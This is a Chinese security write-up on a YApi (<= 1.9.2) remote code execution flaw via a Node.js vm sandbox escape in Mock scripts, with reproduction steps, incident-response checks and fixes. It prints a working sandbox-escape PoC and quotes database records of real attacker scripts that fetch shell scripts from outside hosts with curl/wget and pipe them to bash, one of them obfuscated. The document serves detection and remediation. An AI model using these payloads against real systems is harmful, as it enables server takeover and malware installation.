目录
一、概述
Yapi 是高效、易用、功能强大的 api 管理平台,旨在为开发、产品、测试人员提供更优雅的接口管理服务。可以帮助开发者轻松创建、发布、维护 API,YApi 还为用户提供了优秀的交互体验,开发人员只需利用平台提供的接口数据写入工具以及简单的点击操作就可以实现接口的管理。
攻击者通过注册用户,并使用 Mock 功能实现远程命令执行。命令执行的原理是 Node.js 通过 require(‘vm’) 来构建沙箱环境,而攻击者可以通过原型链改变沙箱环境运行的上下文,从而达到沙箱逃逸的效果。通过 vm.runInNewContext(“this.constructor.constructor(‘return process’)()”) 即可获得一个 process 对象
二、影响版本
Yapi <= 1.9.2
三、复现过程
漏洞环境为vluhub一体化搭建,这里直接启动漏洞环境
利用方式为先注册一个新用户,注册成功后自动登录
在”添加项目“中创建一个新项目
添加接口
在新建项目中“设置” –>”全局mock脚本中添加恶意代码“。设置命令为“whoami”进行探测,并启用
设置的poc如下:
const sandbox = this
const ObjectConstructor = this.constructor
const FunctionConstructor = ObjectConstructor.constructor
const myfun = FunctionConstructor('return process')
const process = myfun()
mockJson = process.mainModule.require("child_process").execSync("whoami").toString()
四、应急排查
针对这种入侵,如何排查:
1、YAPI控制台检测
因为根据攻击手法,会先注册用户或者通过已知账号密码登录后台后新建项目,开启“全局mock脚本“实现入侵(不排除利用完成后删除),故可以登录后台查看是否有异常账户和配置
2、Mongo容器内查看已有的mock脚本
mock脚本会存入mongo数据库中,可以登录mongo数据库中查看数据
docker-compose exec yapi-mongo /bin/bash
mongo
# 数据库相关操作
> show dbs
> use yapi
> show tables
查看本地已有的表,查看Mock脚本
> db.adv_mock.find()
# 就能看到一堆 带有 sandbox 字样的 mock_script
{ "_id" : 10, "enable" : true, "interface_id" : 327, "mock_script" : "const sandbox = this\nconst ObjectConstructor = this.constructor\nconst FunctionConstructor = ObjectConstructor.constructor\nconst myfun = FunctionConstructor('return process')\nconst process = myfun()\nmockJson = process.mainModule.require("child_process").execSync("whoami && echo 123456789").toString()", "project_id" : 59, "uid" : "194", "up_time" : 1601333575, "__v" : 0 }
{ "_id" : 16, "enable" : true, "interface_id" : 332, "mock_script" : "const sandbox = this\nconst ObjectConstructor = this.constructor\nconst FunctionConstructor = ObjectConstructor.constructor\nconst myfun = FunctionConstructor('return process')\nconst process = myfun()\nmockJson = process.mainModule.require("child_process").execSync("whoami && echo 123456789").toString()", "project_id" : 67, "uid" : "201", "up_time" : 1601335228, "__v" : 0 }
{ "_id" : 76, "enable" : true, "interface_id" : 742, "mock_script" : "const sandbox = this\nconst ObjectConstructor = this.constructor\nconst FunctionConstructor = ObjectConstructor.constructor\nconst myfun = FunctionConstructor('return process')\nconst process = myfun()\nmockJson = process.mainModule.require("child_process").execSync("whoami").toString()", "project_id" : 179, "uid" : "299", "up_time" : 1625730796, "__v" : 0 }
{ "_id" : 82, "enable" : true, "interface_id" : 772, "mock_script" : "\n const sandbox = this; // 获取Context\n const ObjectConstructor = this.constructor; // 获取 Object 对象构造函数\n const FunctionConstructor = ObjectConstructor.constructor; // 获取 Function 对象构造函数\n const myfun = FunctionConstructor('return process'); // 构造一个函数,返回process全局变量\n const process = myfun();\n mockJson = process.mainModule.require("child_process").execSync("curl -L https://jhx15.zzlxrj.com/Uploads/image/goods/2021-06-07/start.sh | bash -s '46n4YeKAjUp2FcJnx8SFEb5CMK3kMRJ9o9MEuCzWtv2VEF5LYeq6TJKSWV3h4sEj4CQiUmsb2dNMEQcKJZJM8zCYFp7wFoy'").toString()", "project_id" : 227, "uid" : "355", "up_time" : 1626338890, "__v" : 0 }
{ "_id" : 88, "enable" : true, "interface_id" : 787, "mock_script" : "const sandbox = this\r\nconst ObjectConstructor = this.constructor\r\nconst FunctionConstructor = ObjectConstructor.constructor\r\nconst myfun = FunctionConstructor('return process')\r\nconst process = myfun()\r\nmockJson = process.mainModule.require("child_process").execSync("curl http://47.98.198.11:8015/init.sh | bash").toString()", "project_id" : 243, "uid" : "383", "up_time" : 1625989857, "__v" : 0 }
{ "_id" : 94, "enable" : true, "interface_id" : 792, "mock_script" : "const sandbox = this\r\nconst ObjectConstructor = this.constructor\r\nconst FunctionConstructor = ObjectConstructor.constructor\r\nconst myfun = FunctionConstructor('return process')\r\nconst process = myfun()\r\nmockJson = process.mainModule.require("child_process").execSync("wget -qO- http://47.98.198.11:8015/init.sh | sh").toString()", "project_id" : 251, "uid" : "390", "up_time" : 1625991205, "__v" : 0 }
{ "_id" : 100, "enable" : true, "interface_id" : 827, "mock_script" : "const sandbox = this\r\nconst ObjectConstructor = this.constructor\r\nconst FunctionConstructor = ObjectConstructor.constructor\r\nconst myfun = FunctionConstructor('return process')\r\nconst process = myfun()\r\nmockJson = process.mainModule.require("child_process").execSync("wget -qO- http://47.98.198.11:8015/init.sh | sh").toString()", "project_id" : 267, "uid" : "404", "up_time" : 1626096094, "__v" : 0 }
{ "_id" : 106, "enable" : true, "interface_id" : 832, "mock_script" : "const sandbox = this\r\nconst ObjectConstructor = this.constructor\r\nconst FunctionConstructor = ObjectConstructor.constructor\r\nconst myfun = FunctionConstructor('return process')\r\nconst process = myfun()\r\nmockJson = process.mainModule.require("child_process").execSync("wget -qO- http://47.98.198.11:8015/init.sh | sh").toString()", "project_id" : 275, "uid" : "411", "up_time" : 1626096134, "__v" : 0 }
{ "_id" : 124, "enable" : true, "interface_id" : 922, "mock_script" : "const sandbox = this\r\nconst ObjectConstructor = this.constructor\r\nconst FunctionConstructor = ObjectConstructor.constructor\r\nconst myfun = FunctionConstructor('return process')\r\nconst process = myfun()\r\nvar t = process["\\x6d\\x61\\x69\\x6e\\x4d\\x6f\\x64\\x75\\x6c\\x65"]["\\x72\\x65\\x71\\x75\\x69\\x72\\x65"]("\\x63\\x68\\x69\\x6c\\x64\\x5f\\x70\\x72\\x6f\\x63\\x65\\x73\\x73")\r\nmockJson=t.execSync("wget -qO- http://47.98.198.11:8015/cron.sh | sh ").toString()", "project_id" : 315, "uid" : "425", "up_time" : 1626506262, "__v" : 0 }
{ "_id" : 130, "enable" : true, "interface_id" : 992, "mock_script" : "const sandbox = this\nconst ObjectConstructor = this.constructor\nconst FunctionConstructor = ObjectConstructor.constructor\nconst myfun = FunctionConstructor('return process')\nconst process = myfun()\nmockJson = process.mainModule.require("child_process").execSync("echo 123321vul").toString()", "project_id" : 387, "uid" : "635", "up_time" : 1626766514, "__v" : 0 }
> db.adv_mock.deleteMany({"mock_script" : {$regex : "sandbox"}})
3、日志侧排查
通过查看journalctl查看你mongodb的日志,或者通过查看mongodb配置的日志路径中查找
五、修复方案
1、升级到新版本
2、关闭YAPI用户注册功能,排查账户中是否有弱口令
在 config.json 中添加以下配置项,禁止用户注册或启用LDAP认证:
{ "closeRegister":true }
修改完成后,重启 YAPI 服务生效。
3、关闭YAPI Mock功能
1)、在config.json中新增mock: false参数:
{ ... "mock": false, }
2)、在exts/yapi-plugin-andvanced-mock/server.js文件中找到:
if (caseData && caseData.case_enable) {...}
并添加下列代码:
if(!yapi.WEBCONFIG.mock) { return false; }
3、对高级Mock功能进行关键字过滤
在/server/utils/commons.js文件中找到:
sandbox = yapi.commons.sandbox(sandbox, script);
并添加下列代码:
const filter = '/process|exec|require/g'; const reg = new RegExp(filter, "g"); if(reg.test(script)) { return false; }
4、对YAPI平台的访问进行限制